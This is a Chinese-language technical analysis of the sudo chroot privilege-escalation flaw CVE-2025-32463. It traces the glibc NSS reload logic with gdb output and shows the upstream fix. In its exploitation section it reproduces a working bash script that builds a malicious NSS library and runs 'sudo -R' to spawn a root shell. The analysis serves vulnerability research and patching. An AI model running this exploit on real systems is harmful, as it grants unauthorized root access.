TL; DR
startascale 6 月 30 日发布了几个 sudo 的提权漏洞,CVE-CVE-2025-32463[1] 是其中一个, 另外一个 CVE-2025-32462[2] 需要一个特殊配置。
该漏洞依赖于 Sudo 规则被限制在特定主机名或主机名模式的配置场景下。如果满足这些条件,权限提升到 root 无需任何漏洞利用(exploit)。
漏洞分析CVE-2025-32463在Sudo v1.9.14(2023年6月)中引入(https://github.com/sudo-project/sudo/blob/SUDO_1_9_14/NEWS),在使用chroot功能时,更新了命令匹配处理代码。本文漏洞分析的sudo代码 commit 为: cb3355e9d4f66db642b9c0e9151423762504339b
该代码逻辑在, plugins/sudoers/sudoers.c 文件中的 set_cmnd_path
函数里,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int set_cmnd_path(struct sudoers_context *ctx, const char *runchroot) { ... if (runchroot != NULL ) { if (!pivot_root(runchroot, &pivot_state)) goto error; } ... ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path); ... if (runchroot != NULL ) (void )unpivot_root(&pivot_state); ...
代码逻辑大致是: 1. pivot_root 函数进行 chroot 2.
resolve_cmnd函数去进行命令的匹配查找路径 3. 最后
unpivot_root` chroot 回到原来的 root path
漏洞的发生点其实就是在 pivot_root
和 unpivot_root
之间,有代码逻辑去读取 /etc/nsswitch.conf
文件并进行了 nss_database*
的更新。
当我看到这个漏洞和代码的时候有一个直觉性的疑问, 如果在 chroot 后会进行 /etc/nsswitch.conf
的读取, 且读取的是 chroot 里的文件,那么为什么unpivot_root
后代码代码逻辑不会重新读取 /etc/nsswitch.conf
。 因此这个漏洞分析以两个疑问展开分析:
pivot_root
和 unpivot_root
之间什么操作导致会重新加载 /etc/nsswitch.conf
为什么 unpivot_root
之后到加载恶意代码之前不会重新读取 /etc/nsswitch.conf
nss_database_check_reload_and_get 分析对 nss
相关代码的简单追踪, 我们定位到 nss_database_check_reload_and_get
[2] 会调用 nss_database_reload
函数进而打开 /etc/nsswitch.conf
配置文件
调用链如下:
1 2 3 static bool nss_database_check_reload_and_get -> static bool ss_database_reload -> FILE *fp = fopen (_PATH_NSSWITCH_CONF, "rce");
我们在 pivot_root
之后对 nss_database_check_reload_and_get
下个断点,此时 gdb 的backtrace 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Breakpoint 1, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups) at ./nss/nss_database.c:396 warning: 396 ./nss/nss_database.c: No such file or directory (gdb) bt #0 nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups) at ./nss/nss_database.c:396 #1 0x00007ffff7d56ddc in internal_getgrouplist (user=user@entry=0x5555555a8d98 "root", group=group@entry=0, size=size@entry=0x7fffffffc568, groupsp=groupsp@entry=0x7fffffffc570, limit=limit@entry=-1) at ./nss/initgroups.c:75 #2 0x00007ffff7d570dc in getgrouplist (user=user@entry=0x5555555a8d98 "root", group=group@entry=0, groups=groups@entry=0x7ffff7b15010, ngroups=ngroups@entry=0x7fffffffc5d4) at ./nss/initgroups.c:156 #3 0x00007ffff7fa51a9 in sudo_getgrouplist2_v1 (name=0x5555555a8d98 "root", basegid=0, groupsp=groupsp@entry=0x7fffffffc630, ngroupsp=ngroupsp@entry=0x7fffffffc63c) at ./getgrouplist.c:105 #4 0x00007ffff7ed987e in sudo_make_gidlist_item (pw=0x5555555a8d68, ngids=<optimized out>, gids=<optimized out>, gidstrs=0x0, type=1) at ./pwutil_impl.c:298 #5 0x00007ffff7ed83d5 in sudo_get_gidlist (pw=0x5555555a8d68, type=type@entry=1) at ./pwutil.c:1033 #6 0x00007ffff7ecfbcb in runas_getgroups (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>) at ./match.c:146 #7 0x00007ffff7ebbc3c in runas_setgroups (ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./set_perms.c:1634 #8 set_perms (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, perm=perm@entry=5) at ./set_perms.c:285 #9 0x00007ffff7edadb8 in resolve_cmnd (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, infile=infile@entry=0x7fffffffe594 "woot", outfile=outfile@entry=0x7fffffffcc40, path=path@entry=0x5555555b0400 "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin") at ./resolve_cmnd.c:42 #10 0x00007ffff7ebebbc in set_cmnd_path (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, runchroot=0x5555555a701c "woot") at ./sudoers.c:1108 #11 0x00007ffff7ebf047 in set_cmnd (ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./sudoers.c:1177 #12 sudoers_check_common (pwflag=pwflag@entry=0, ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./sudoers.c:358 #13 0x00007ffff7ec06c8 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7fffffffe2d0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffffcdd0) at ./sudoers.c:689 #14 0x00007ffff7eb6673 in sudoers_policy_check (argc=1, argv=0x7fffffffe2d0, env_add=0x0, command_infop=0x7fffffffcea0, argv_out=0x7fffffffcea8, user_env_out=0x7fffffffceb0, errstr=0x7fffffffcec8) at ./policy.c:1244 #15 0x000055555555cffb in policy_check (run_envp=0x7fffffffceb0, run_argv=0x7fffffffcea8, command_info=0x7fffffffcea0, env_add=0x0, argv=0x7fffffffe2d0, argc=1) at ./sudo.c:1266 #16 main (
当前 nss_database_check_reload_and_get
的第三个参数 database_index
为 nss_database_initgroups
, local
参数结构:
1 2 3 4 5 (gdb) p *local $1 = {data = {nsswitch_conf = {size = 527, ino = 106330, mtime = {tv_sec = 1751446775, tv_nsec = 344332209}, ctime = {tv_sec = 1751446775, tv_nsec = 345332238}}, services = {0x5555555a1060, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0, 0x5555555a1200, 0x5555555a2020, 0x0, 0x5555555a20c0, 0x5555555a1060, 0x5555555a1200, 0x5555555a20c0, 0x5555555a2070, 0x5555555a3b20, 0x5555555a2070, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0}, reload_disabled = 0, initialized = true}, lock = 0, root_ino = 2, root_dev = 64769}
其中 services 对应如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 DEFINE_DATABASE (aliases) DEFINE_DATABASE (ethers) DEFINE_DATABASE (group) DEFINE_DATABASE (group_compat) DEFINE_DATABASE (gshadow) DEFINE_DATABASE (hosts) DEFINE_DATABASE (initgroups) DEFINE_DATABASE (netgroup) DEFINE_DATABASE (networks) DEFINE_DATABASE (passwd) DEFINE_DATABASE (passwd_compat) DEFINE_DATABASE (protocols) DEFINE_DATABASE (publickey) DEFINE_DATABASE (rpc) DEFINE_DATABASE (services) DEFINE_DATABASE (shadow) DEFINE_DATABASE (shadow_compat)
在进 nss_database_reload
函数的时候,里面有个逻辑是, 如果 staging->services[i] == NULL
就设置为 default 的值,
1 2 3 4 5 6 7 8 for (int i = 0 ; i < NSS_DATABASE_COUNT; ++i) if (staging->services[i] == NULL ) { ok = nss_database_select_default (&cache, i, &staging->services[i]); if (!ok) break ; }
由 nss_database_select_default
获取然后设置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 static const char per_database_defaults[NSS_DATABASE_COUNT] = { [nss_database_group] = nss_database_default_compat, [nss_database_group_compat] = nss_database_default_nis, [nss_database_gshadow] = nss_database_default_files, [nss_database_hosts] = nss_database_default_dns, [nss_database_initgroups] = nss_database_default_none, [nss_database_networks] = nss_database_default_dns, [nss_database_passwd] = nss_database_default_compat, [nss_database_passwd_compat] = nss_database_default_nis, [nss_database_publickey] = nss_database_default_nis_nisplus, [nss_database_shadow] = nss_database_default_compat, [nss_database_shadow_compat] = nss_database_default_nis, }; static bool nss_database_select_default (struct nss_database_default_cache *cache, enum nss_database db, nss_action_list *result) { enum nss_database_default def = per_database_defaults[db]; ... case nss_database_default_none: return true ; ... *result = __nss_action_parse (line); if (*result == NULL ) { assert (errno == ENOMEM); return false ; } return true ;
在 nss_database_initgroups
设置的时候,默认为 None, 因此此时 service
为 nss_database_initgroups
是 0x0 (这个很重要 )
1 2 3 4 5 (gdb) p *local $1 = {data = {nsswitch_conf = {size = 527, ino = 106330, mtime = {tv_sec = 1751446775, tv_nsec = 344332209}, ctime = {tv_sec = 1751446775, tv_nsec = 345332238}}, services = {0x5555555a1060, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0, 0x5555555a1200, 0x5555555a2020, 0x0, 0x5555555a20c0, 0x5555555a1060, 0x5555555a1200, 0x5555555a20c0, 0x5555555a2070, 0x5555555a3b20, 0x5555555a2070, 0x5555555a2070, 0x5555555a1200, 0x5555555a20c0}, reload_disabled = 0, initialized = true}, lock = 0, root_ino = 2, root_dev = 64769}
解释了下,此时((struct nss_database_state *)local)->data.services[nss_database_initgroups]
为空的原因,我们接着回到 nss_database_check_reload_and_get
的代码里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 static bool nss_database_check_reload_and_get (struct nss_database_state *local, nss_action_list *result, enum nss_database database_index) { struct __stat64_t64 str ; if (atomic_load_acquire (&local->data.reload_disabled)) { *result = local->data.services[database_index]; return true ; } struct file_change_detection initial ; if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF)) return false ; __libc_lock_lock (local->lock); if (__file_is_unchanged (&initial, &local->data.nsswitch_conf)) { *result = local->data.services[database_index]; __libc_lock_unlock (local->lock); return true ; } int stat_rv = __stat64_time64 ("/" , &str); if (local->data.services[database_index] != NULL ) { if (stat_rv != 0 || (local->root_ino != 0 && (str.st_ino != local->root_ino || str.st_dev != local->root_dev))) { atomic_store_release (&local->data.reload_disabled, 1 ); *result = local->data.services[database_index]; __libc_lock_unlock (local->lock); return true ; } } if (stat_rv == 0 ) { local->root_ino = str.st_ino; local->root_dev = str.st_dev; } __libc_lock_unlock (local->lock); struct nss_database_data staging = { .initialized = true , }; bool ok = nss_database_reload (&staging, &initial); if (ok) { __libc_lock_lock (local->lock); if (!atomic_load_acquire (&local->data.reload_disabled)) local->data = staging; *result = local->data.services[database_index]; __libc_lock_unlock (local->lock); } return ok; }
在刚进 nss_database_check_reload_and_get
函数的时候, 先是判断 local->data.reload_dsiable
是否为 True, 如果为True 则直接 return
1 2 3 4 5 6 if (atomic_load_acquire (&local->data.reload_disabled)) { *result = local->data.services[database_index]; return true ; }
然后是判断/etc/nsswitch.conf
文件是否修改:
1 2 3 4 5 6 7 8 9 10 11 12 struct file_change_detection initial ;if (!__file_change_detection_for_path (&initial, _PATH_NSSWITCH_CONF)) return false ; __libc_lock_lock (local->lock); if (__file_is_unchanged (&initial, &local->data.nsswitch_conf)) { *result = local->data.services[database_index]; __libc_lock_unlock (local->lock); return true ; }
因为此时是刚 chroot
进来, 所以此时的 /etc/nsswitch.conf
是一个修改的状态,所以代码会继续往下走。然后是一个重点逻辑, 如果代码判断成功,则设置 local->data.reload_disabled
的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (local->data.services[database_index] != NULL ) { if (stat_rv != 0 || (local->root_ino != 0 && (str.st_ino != local->root_ino || str.st_dev != local->root_dev))) { atomic_store_release (&local->data.reload_disabled, 1 ); *result = local->data.services[database_index]; __libc_lock_unlock (local->lock); return true ; } }
因为当前 local->data.services[database_index]
为 NULL (此时((struct nss_database_state *)local)->data.services[nss_database_initgroups]
为空)
因此不会去设置 local->data.reload_disabled
, 此时 local->data.reload_disabled
仍然为 0
1 2 (gdb) p ((struct nss_database_state *)local)->data.reload_disabled $8 = 0
然后保存当前的 root inode 和 root dev
1 2 3 4 5 if (stat_rv == 0 ) { local->root_ino = str.st_ino; local->root_dev = str.st_dev; }
最后就走到 bool ok = nss_database_reload (&staging, &initial);
进行 database 的reload。
[!小结]
这里就解答了第一个问题, 由于 getgrouplist
的调用因此调用了nss_database_check_reload_and_get
函数。
在nss_database_check_reload_and_get
函数里,由于此时 reload_disabled
没有设置且services[nss_database_initgroups]
是空,所以走到了 nss_database_reload
。
reload_disabled对 nss_database_check_reload_and_get
断点 , 并在 pivot_root
和unpivot_root
下断点。然后打印出在 nss_database_check_reload_and_get
的第三个参数database_index
。
1 2 3 4 5 6 7 8 9 10 11 >end (gdb) i b Num Type Disp Enb Address What 3 breakpoint keep y <MULTIPLE> 3.1 y 0x00007ffff7d2b050 in pivot_root at ../sysdeps/unix/syscall-template.S:120 3.2 y 0x00007ffff7eb59b0 in pivot_root at ./pivot.c:39 4 breakpoint keep y 0x00007ffff7eb5b00 in unpivot_root at ./pivot.c:64 5 breakpoint keep y 0x00007ffff7d52300 in nss_database_check_reload_and_get at ./nss/nss_database.c:396 i r rdx c (gdb)
我们可以清楚的看到在 pivot_root
和 unpivot_root
前后 nss_database_check_reload_and_get
的参数不同:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Breakpoint 3.2, pivot_root (new_root=0x5555555a701c "woot", state=0x7fffffffcc38) at ./pivot.c:39 39 { (gdb) c Continuing. Download failed: Invalid argument. Continuing without source file ./nss/./nss/nss_database.c. Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_initgroups) at ./nss/nss_database.c:396 warning: 396 ./nss/nss_database.c: No such file or directory rdx 0x6 6 Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7fffffffc510, database_index=nss_database_group) at ./nss/nss_database.c:396 396 in ./nss/nss_database.c rdx 0x2 2 Breakpoint 4, unpivot_root (state=state@entry=0x7fffffffcc38) at ./pivot.c:64 64 { (gdb) c Continuing. Download failed: Invalid argument. Continuing without source file ./nss/./nss/nss_database.c. Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b68 <__nss_group_database>, database_index=nss_database_group) at ./nss/nss_database.c:396 warning: 396 ./nss/nss_database.c: No such file or directory rdx 0x2 2 Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b68 <__nss_group_database>, database_index=nss_database_group) at ./nss/nss_database.c:396 396 in ./nss/nss_database.c rdx 0x2 2 Breakpoint 5, nss_database_check_reload_and_get (local=0x5555555a1ad0, result=0x7ffff7e10b00 <__nss_shadow_database>, database_index=nss_database_shadow) at ./nss/nss_database.c:396 396 in ./nss/nss_database.c rdx 0xf 15 Downloading separate debug info for libnss_/woot1337.so.2 Download failed: Invalid argument. Continuing without source file ./nss/./nss/nss_database.c.
整理出来就是:
1 2 3 4 5 6 7 8 9 10 nss_database_passwd 9 nss_database_passwd 9 nss_database_passwd 9 # pivot_root nss_database_initgroups 6 nss_database_group 2 # unpivot_root nss_database_group 2 nss_database_group 2 nss_database_shadow 15 # load lib
在章节 ”nss_database_check_reload_and_get 分析“的时候我们知道 nss_database_initgroups
的时候 reload_disabled
不会设置。
当到第一个 nss_database_group
的时候, 由于文件没有修改, 所以会直接 return。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 (gdb) n 418 *result = local->data.services[database_index];(gdb) l 413 __libc_lock_lock (local->lock);414 if (__file_is_unchanged (&initial, &local->data.nsswitch_conf))415 {416 418 *result = local->data.services[database_index];419 __libc_lock_unlock (local->lock);420 return true ;421 }422 (gdb)
不会走后续的逻辑。
当走完 unpivot_root
来到第二个nss_database_group
, reload_disabled
没有设置, 走到文件修改比较。 因为此时已经 unpivot_root
, 因此文件是有变化的, 程序会继续执行。
当走到 if (local->data.services[database_index] != NULL)
判断的时候
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (local->data.services[database_index] != NULL ) { if (stat_rv != 0 || (local->root_ino != 0 && (str.st_ino != local->root_ino || str.st_dev != local->root_dev))) { atomic_store_release (&local->data.reload_disabled, 1 ); *result = local->data.services[database_index]; __libc_lock_unlock (local->lock); return true ; } }
由于 local->data.services[database_index]
不为空, 因此会进入 if 的逻辑。 且此时
1 2 3 4 5 stat_rv = 0 ((struct nss_database_state *)local)->root_ino = 0x560d0 ((struct nss_database_state *)0x5555555a1ad0)->root_dev = 0xfd01 str.st_ino != local->root_ino str.st_dev != local->root_dev
符合这个 if 的判断, 会进到 atomic_store_release (&local->data.reload_disabled, 1);
, 走完这句代码后 local->data.reload_disabled
就会被设置为 1, 然后直接返回。
那么之后剩下的 nss_database_check_reload_and_get
函数调用都会在开头就会返回,不会进到 nss_database_reload
逻辑里
[!小结] 这里就解决了第二个疑问, 为什么后续 nss_database_check_reload_and_get
函数调用不会进到 nss_database_reload
。 因为代码逻辑当 chroot 回到原来的目录的时候,调用第一个 nss_database_check_reload_and_get
会将 reload_disabled
设置成 1 且返回, 后续的调用就不会再进 nss_database_reload
load evil library利用直接参考贴原作者的就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.confcp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}
在不可信任的路径里配置一个 etc/nsswitch.conf
, 内容如下:
1 2 bash-5.2$ cat woot/etc/nsswitch.conf passwd: /woot1337
一个有趣的说明,nsswitch.conf
中的源的名称也被用作共享对象(库)的路径的一部分。例如,上述LDAP源转化为 libnss_/woot1337.so.2.so
。
那么在哪里加载恶意 so 的呢? 我们对 dlopen 下一个断点, 然后查看一下他的 backtrace。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #0 0x00007ffff7e86191 in woot () from libnss_/woot1337.so.2 #1 0x00007ffff7fca6d5 in call_init (l=0x5555555b5cb0, argc=argc@entry=4, argv=argv@entry=0x7fffffffe2b8, env=env@entry=0x7fffffffe2e0) at ./elf/dl-init.c:60 #2 0x00007ffff7fca824 in call_init (env=<optimized out>, argv=<optimized out>, argc=<optimized out>, l=<optimized out>) at ./elf/dl-init.c:120 #3 _dl_init (main_map=0x5555555b5cb0, argc=4, argv=0x7fffffffe2b8, env=0x7fffffffe2e0) at ./elf/dl-init.c:121 #4 0x00007ffff7fc65b2 in __GI__dl_catch_exception (exception=exception@entry=0x0, operate=operate@entry=0x7ffff7fd1cc0 <call_dl_init>, args=args@entry=0x7fffffffc340) at ./elf/dl-catch.c:211 #5 0x00007ffff7fd1d7c in dl_open_worker (a=0x7fffffffc4f0) at ./elf/dl-open.c:829 #6 dl_open_worker (a=a@entry=0x7fffffffc4f0) at ./elf/dl-open.c:792 #7 0x00007ffff7fc651c in __GI__dl_catch_exception (exception=exception@entry=0x7fffffffc4d0, operate=operate@entry=0x7ffff7fd1ce0 <dl_open_worker>, args=args@entry=0x7fffffffc4f0) at ./elf/dl-catch.c:237 #8 0x00007ffff7fd2164 in _dl_open (file=0x5555555b4d40 "libnss_/woot1337.so.2", mode=<optimized out>, caller_dlopen=0x7ffff7d53a0f <module_load+175>, nsid=<optimized out>, argc=4, argv=0x7fffffffe2b8, env=0x7fffffffe2e0) at ./elf/dl-open.c:905 #9 0x00007ffff7d840d5 in do_dlopen (ptr=ptr@entry=0x7fffffffc750) at ./elf/dl-libc.c:95 #10 0x00007ffff7fc651c in __GI__dl_catch_exception (exception=exception@entry=0x7fffffffc6e0, operate=0x7ffff7d84090 <do_dlopen>, args=0x7fffffffc750) at ./elf/dl-catch.c:237 #11 0x00007ffff7fc6669 in _dl_catch_error (objname=0x7fffffffc740, errstring=0x7fffffffc748, mallocedp=0x7fffffffc73f, operate=<optimized out>, args=<optimized out>) at ./elf/dl-catch.c:256 #12 0x00007ffff7d844ef in dlerror_run (args=0x7fffffffc750, operate=0x7ffff7d84090 <do_dlopen>) at ./elf/dl-libc.c:45 #13 __libc_dlopen_mode (name=<optimized out>, mode=mode@entry=-2147483646) at ./elf/dl-libc.c:162 #14 0x00007ffff7d53a0f in module_load (module=0x5555555af790) at ./nss/nss_module.c:187 #15 0x00007ffff7d53ee5 in __nss_module_load (module=0x5555555af790) at ./nss/nss_module.c:302 #16 __nss_module_get_function (module=0x5555555af790, name=name@entry=0x7ffff7dcf1eb "setspent") at ./nss/nss_module.c:328 #17 0x00007ffff7d5460b in __GI___nss_lookup_function (fct_name=0x7ffff7dcf1eb "setspent", ni=<optimized out>) at ./nss/nsswitch.c:137 #18 __GI___nss_lookup (ni=0x7ffff7e11690 <nip>, fct_name=0x7ffff7dcf1eb "setspent", fct2_name=0x0, fctp=0x7fffffffcac0) at ./nss/nsswitch.c:67 #19 0x00007ffff7d51306 in setup (all=1, startp=0x7ffff7e11680 <startp>, nip=0x7ffff7e11690 <nip>, fctp=0x7fffffffcac0, lookup_fct=0x7ffff7d50a80 <__GI___nss_shadow_lookup2>, func_name=0x7ffff7dcf1eb "setspent") at ./nss/getnssent_r.c:33 #20 __nss_setent (func_name=func_name@entry=0x7ffff7dcf1eb "setspent", lookup_fct=0x7ffff7d50a80 <__GI___nss_shadow_lookup2>, nip=nip@entry=0x7ffff7e11690 <nip>, startp=startp@entry=0x7ffff7e11680 <startp>, last_nip=last_nip@entry=0x7ffff7e11688 <last_nip>, stayopen=stayopen@entry=0, stayopen_tmp=0x0, res=0) at ./nss/getnssent_r.c:76 #21 0x00007ffff7d6490b in setspent () at ../nss/getXXent_r.c:124 #22 0x00007ffff7e98b33 in sudo_setspent () at ./getspwuid.c:122 #23 0x00007ffff7e98c27 in sudo_passwd_init (ctx=<optimized out>, pw=0x5555555a8a78, auth=0x7ffff7f29020 <auth_switch>) at ./auth/passwd.c:57 #24 0x00007ffff7e97a84 in sudo_auth_init (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, pw=0x5555555a8a78, mode=mode@entry=33554433) at ./auth/sudo_auth.c:117 #25 0x00007ffff7e9a9a3 in check_user (ctx=ctx@entry=0x7ffff7f296a0 <sudoers_ctx>, validated=validated@entry=96, mode=33554433) at ./check.c:136 #26 0x00007ffff7ebf201 in sudoers_check_common (pwflag=pwflag@entry=0, ctx=0x7ffff7f296a0 <sudoers_ctx>) at ./sudoers.c:468 #27 0x00007ffff7ec06c8 in sudoers_check_cmnd (argc=argc@entry=1, argv=argv@entry=0x7fffffffe2d0, env_add=env_add@entry=0x0, closure=closure@entry=0x7fffffffcdd0) at ./sudoers.c:689 #28 0x00007ffff7eb6673 in sudoers_policy_check (argc=1, argv=0x7fffffffe2d0, env_add=0x0, command_infop=0x7fffffffcea0, argv_out=0x7fffffffcea8, user_env_out=0x7fffffffceb0, errstr=0x7fffffffcec8) at ./policy.c:1244 #29 0x000055555555cffb in policy_check (run_envp=0x7fffffffceb0, run_argv=0x7fffffffcea8, command_info=0x7fffffffcea0, env_add=0x0, argv=0x7fffffffe2d0, argc=1) at ./sudo.c:1266 #30 main (argc=<optimized out>, argv=<optimized out>, envp=0x7fffffffe2e0) at ./sudo.c:261 (gdb)
从这个调用链,我们就很清楚的知道了是在 setspent
之后进行的 dlopen 加载恶意的 so
1 2 3 4 5 6 policy_check -> sudoers_policy_check -> sudoers_check_cmnd -> sudoers_check_common -> set_cmnd_path -> check_user -> sudo_auth_init -> sudo_passwd_init -> sudo_setspent -> setspent -> setup -> module_load
那么 setspent
做了什么呢? setspent
函数会用来打开 shadows 文件的方法一个使用的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 setpwent(); while (gets(buf) != NULL ){ if ((sp = getspnam(buf)) != (struct spwd *) 0 ) { printf ("Vaild login name is:%s\n" ,sp->sp_namp); } else { setspent(); while ((sp = getspent()) != (struct spwd *)0 ) { printf ("%s\n" , sp->sp_namp); } }
setspent
实现代码[3]
1 2 3 4 5 6 7 8 9 10 11 void SETFUNC_NAME (STAYOPEN) { int save; __libc_lock_lock (lock); __nss_setent (SETFUNC_NAME_STRING, DB_LOOKUP_FCT, &nip, &startp, &last_nip, STAYOPEN_VAR, STAYOPEN_TMPVAR, NEED__RES); save = errno; __libc_lock_unlock (lock); __set_errno (save); }
当调用到module_load
的时候就会加载 so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 static bool module_load (struct nss_module *module ) { if (strcmp (module ->name, "files" ) == 0 ) return module_load_nss_files (module ); if (strcmp (module ->name, "dns" ) == 0 ) return module_load_nss_dns (module ); void *handle; { char *shlib_name; if (__asprintf (&shlib_name, "libnss_%s.so%s" , module ->name, __nss_shlib_revision) < 0 ) return false ; handle = __libc_dlopen (shlib_name); free (shlib_name); } if (handle == NULL ) { __libc_lock_lock (nss_module_list_lock); bool result = result; switch ((enum nss_module_state) atomic_load_acquire (&module ->state)) { case nss_module_uninitialized: atomic_store_release (&module ->state, nss_module_failed); result = false ; break ; case nss_module_loaded: result = true ; break ; case nss_module_failed: result = false ; break ; } __libc_lock_unlock (nss_module_list_lock); return result; } nss_module_functions_untyped pointers; for (size_t idx = 0 ; idx < array_length (nss_function_name_array); ++idx) { char *function_name; if (__asprintf (&function_name, "_nss_%s_%s" , module ->name, nss_function_name_array[idx]) < 0 ) { __libc_dlclose (handle); return false ; } pointers[idx] = __libc_dlsym (handle, function_name); free (function_name); PTR_MANGLE (pointers[idx]); }
复现
Patched修复 commit [5] :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 @@ -1080,7 +1080,6 @@ int set_cmnd_path(struct sudoers_context *ctx, const char *runchroot) { - struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER; const char *cmnd_in; char *cmnd_out = NULL; char *path = ctx->user.path; @@ -1099,13 +1098,7 @@ if (def_secure_path && !user_is_exempt(ctx)) path = def_secure_path; - /* Pivot root. */ - if (runchroot != NULL) { - if (!pivot_root(runchroot, &pivot_state)) - goto error; - } - - ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path); + ret = resolve_cmnd(ctx, cmnd_in, &cmnd_out, path, runchroot); if (ret == FOUND) { char *slash = strrchr(cmnd_out, '/'); if (slash != NULL) { @@ -1122,14 +1115,8 @@ else ctx->user.cmnd = cmnd_out; - /* Restore root. */ - if (runchroot != NULL) - (void)unpivot_root(&pivot_state); - debug_return_int(ret); error: - if (runchroot != NULL) - (void)unpivot_root(&pivot_state); free(cmnd_out); debug_return_int(NOT_FOUND_ERROR); }
删除了 pivot_root , 以及看后续似乎要 deprecated chroot [6] :
思考这个漏洞有一个很巧合的地方, 如果当pivot_root
之后, 调用到的第一个nss_database_check_reload_and_get
的第三个参数 database_index
不是 nss_database_initgroups
, 且默认 nss_database_initgroups
初始化就是空 ,那么就会走到 reload_disabled
的地方并且返回, 那么之后就根本不会再读取 nsswich.conf
。
我们去跟了下 libc 对 nss_database 初始化的变更 [4] , 上一次的更改在五年前, 但是这个漏洞是在 23 年引入的。 目前看起来没什么特别的大关联, 应该就是特别特别的巧合。。。
Reference link